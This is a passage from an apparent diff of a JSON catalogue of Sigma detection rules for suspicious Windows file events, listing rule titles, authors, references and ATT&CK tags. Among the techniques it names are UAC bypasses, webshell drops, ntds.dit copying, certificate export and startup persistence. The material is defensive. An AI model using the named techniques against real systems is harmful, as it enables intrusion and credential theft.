"author": "frack113", - "creation_date": "2022/01/21", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_colorcpl.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/eral4m/status/1480468728324231172?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ] - }, - "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", - "value": "Suspicious Creation with Colorcpl" - }, - { - "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", - "meta": { - "author": "elhoim", - "creation_date": "2022/04/28", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_creation_by_mobsync.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml", - "https://redcanary.com/blog/intelligence-insights-november-2021/" - ], - "tags": [ - "attack.t1055", - "attack.t1218", - "attack.execution", - "attack.defense_evasion" - ] - }, - "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", - "value": "Created Files by Microsoft Sync Center" - }, - { - "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", - "meta": { - "author": "elhoim", - "creation_date": "2022/04/28", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_default_gpo_dir_write.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml", - "https://redcanary.com/blog/intelligence-insights-november-2021/" - ], - "tags": [ - "attack.t1036.005", - "attack.defense_evasion" - ] - }, - "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", - "value": "Suspicious Files in Default GPO Folder" - }, - { - "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/03", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "file_event_win_susp_desktopimgdownldr_file.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml", - "https://twitter.com/SBousseaden/status/1278977301745741825" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1105" - ] - }, - "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", - "value": "Suspicious Desktopimgdownldr Target File" - }, - { - "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", - "meta": { - "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", - "creation_date": "2020/03/19", - "falsepositive": [ - "Operations performed through Windows SCCM or equivalent", - "Read only access list authority" - ], - "filename": "file_event_win_susp_desktop_ini.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ] - }, - "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", - "value": "Suspicious desktop.ini Action" - }, - { - "description": "Ransomware create txt file in the user Desktop", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_desktop_txt.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", - "value": "Suspicious Creation TXT File in User Desktop" - }, - { - "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", - "meta": { - "author": "frack113", - "creation_date": "2022/06/08", - "falsepositive": [ - "Legitimate microsoft diagcab" - ], - "filename": "file_event_win_susp_diagcab.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml", - "https://threadreaderapp.com/thread/1533879688141086720.html" - ], - "tags": [ - "attack.resource_development" - ] - }, - "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", - "value": "Creation of a Diagcab" - }, - { - "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", - "meta": { - "author": "Nasreddine Bencherchali, frack113", - "creation_date": "2022/06/19", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_susp_double_extension.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://twitter.com/luc4m/status/1073181154126254080", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.007" - ] - }, - "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", - "value": "Suspicious Double Extension Files" - }, - { - "description": "Detects the creation of an executable by another executable", - "meta": { - "author": "frack113", - "creation_date": "2022/03/09", - "falsepositive": [ - "Software installers", - "Update utilities" - ], - "filename": "file_event_win_susp_dropper.yml", - "level": "low", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "Malware Sandbox", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "297afac9-5d02-4138-8c58-b977bac60556", - "value": "Creation of an Executable by an Executable" - }, - { - "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_exchange_aspx_write.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml", - "https://redcanary.com/blog/blackbyte-ransomware/" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", - "value": "Suspicious MSExchangeMailboxReplication ASPX Write" - }, - { - "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", - "meta": { - "author": "frack113", - "creation_date": "2022/09/05", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_executable_creation.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", - "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ] - }, - "uuid": "74babdd6-a758-4549-9632-26535279e654", - "value": "Suspicious Executable File Creation" - }, - { - "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/04/23", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_get_variable.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.joesandbox.com/analysis/465533/0/html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", - "value": "Suspicious Get-Variable.exe Creation" - }, - { - "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", - "meta": { - "author": "Nasreddine Bencherchali, frack113", - "creation_date": "2022/11/07", - "falsepositive": [ - "Users creating a shortcut on e.g. desktop" - ], - "filename": "file_event_win_susp_lnk_double_extension.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://twitter.com/luc4m/status/1073181154126254080", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.007" - ] - }, - "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", - "value": "Suspicious LNK Double Extension Files" - }, - { - "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_ntds_dit.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml", - "https://adsecurity.org/?p=2398", - "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003" - ] - }, - "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", - "value": "Suspicious Process Writes Ntds.dit" - }, - { - "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "System administrators managing certififcates." - ], - "filename": "file_event_win_susp_pfx_file_creation.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/14", - "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ] - }, - "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", - "value": "Suspicious PFX File Creation" - }, - { - "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", - "meta": { - "author": "HieuTT35, Nasreddine Bencherchali", - "creation_date": "2019/10/24", - "falsepositive": [ - "System administrator create Powershell profile manually" - ], - "filename": "file_event_win_susp_powershell_profile.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "https://persistence-info.github.io/Data/powershellprofile.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.013" - ] - }, - "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", - "value": "PowerShell Profile Modification" - }, - { - "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", - "meta": { - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", - "falsepositive": [ - "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." - ], - "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" - ], - "tags": [ - "attack.t1562.001", - "attack.defense_evasion" - ] - }, - "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", - "value": "Suspicious PROCEXP152.sys File Created In TMP" - }, - { - "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_spool_drivers_color_drop.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml", - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", - "value": "Drop Binaries Into Spool Drivers Color Folder" - }, - { - "description": "Detects when a file with a suspicious extension is created in the startup folder", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/10", - "falsepositive": [ - "Rare legitimate usage of some of the extensions mentioned in the rule" - ], - "filename": "file_event_win_susp_startup_folder_persistence.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml", - "https://github.com/last-byte/PersistenceSniper" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", - "value": "Suspicious Startup Folder Persistence" - }, - { - "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/07", - "falsepositive": [ - "Administrative activity", - "PowerShell scripts running as SYSTEM user" - ], - "filename": "file_event_win_susp_system_interactive_powershell.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml", - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm" - ], - "tags": "No established tags" - }, - "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", - "value": "Suspicious Interactive PowerShell as SYSTEM" - }, - { - "description": "Detects the creation of tasks from processes executed from suspicious locations", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/16", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_task_write.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml", - "Internal Research" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.t1053" - ] - }, - "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", - "value": "Suspicious Scheduled Task Write to System32 Tasks" - }, - { - "description": "Detects the creation of log files during a TeamViewer remote session", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/30", - "falsepositive": [ - "Legitimate uses of TeamViewer in an organisation" - ], - "filename": "file_event_win_susp_teamviewer_remote_session.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.teamviewer.com/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", - "value": "TeamViewer Remote Session" - }, - { - "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/24", - "falsepositive": [ - "Legitimate use of the profile by developers or administrators" - ], - "filename": "file_event_win_susp_vscode_powershell_profile.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.013" - ] - }, - "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", - "value": "VsCode Powershell Profile Modification" - }, - { - "description": "Detects the creation of an file in user Word Startup", - "meta": { - "author": "frack113", - "creation_date": "2022/06/05", - "falsepositive": [ - "Addition of legitimate plugins" - ], - "filename": "file_event_win_susp_winword_startup.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", - "value": "Creation In User Word Startup Folder" - }, - { - "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/12", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_tool_psexec.yml", - "level": "low", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ] - }, - "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", - "value": "PsExec Service File Creation" - }, - { - "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/02/21", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_tsclient_filewrite_startup.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", - "value": "Hijack Legit RDP Session to Move Laterally" - }, - { - "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_consent_comctl32.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", - "value": "UAC Bypass Using Consent and Comctl32 - File" - }, - { - "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", - "value": "UAC Bypass Using .NET Code Profiler on MMC" - }, - { - "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", - "meta": { - "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_eventvwr.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", - "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" - ] - }, - "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", - "value": "UAC Bypass Using EventVwr" - }, - { - "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml", - "https://github.com/Wh04m1001/IDiagnosticProfileUAC" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", - "value": "UAC Bypass Using IDiagnostic Profile - File" - }, - { - "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_ieinstal.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", - "value": "UAC Bypass Using IEInstal - File" - }, - { - "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_msconfig_gui.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", - "value": "UAC Bypass Using MSConfig Token Modification - File" - }, - { - "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", - "value": "UAC Bypass Using NTFS Reparse Point - File" - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/30", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_winsat.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", - "value": "UAC Bypass Abusing Winsat Path Parsing - File" - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_uac_bypass_wmp.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml", - "https://github.com/hfiref0x/UACME" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", - "value": "UAC Bypass Using Windows Media Player - File" - }, - { - "description": "Possible webshell file creation on a static web site", - "meta": { - "author": "Beyu Denis, oscd.community, Tim Shelton", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate administrator or developer creating legitimate executable files in a web application folder" - ], - "filename": "file_event_win_webshell_creation_detect.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml", - "PT ESC rule and personal experience" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ] - }, - "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", - "value": "Windows Webshell Creation" - }, - { - "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", - "meta": { - "author": "frack113", - "creation_date": "2022/05/09", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_werfault_dll_hijacking.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.001" - ] - }, - "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", - "value": "Creation of an WerFault.exe in Unusual Folder" - }, - { - "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/06", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_winrm_awl_bypass.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", - "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl" - }, - { - "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", - "meta": { - "author": "Florian Roth, Sittikorn S", - "creation_date": "2021/09/10", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_winword_cve_2021_40444.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", - 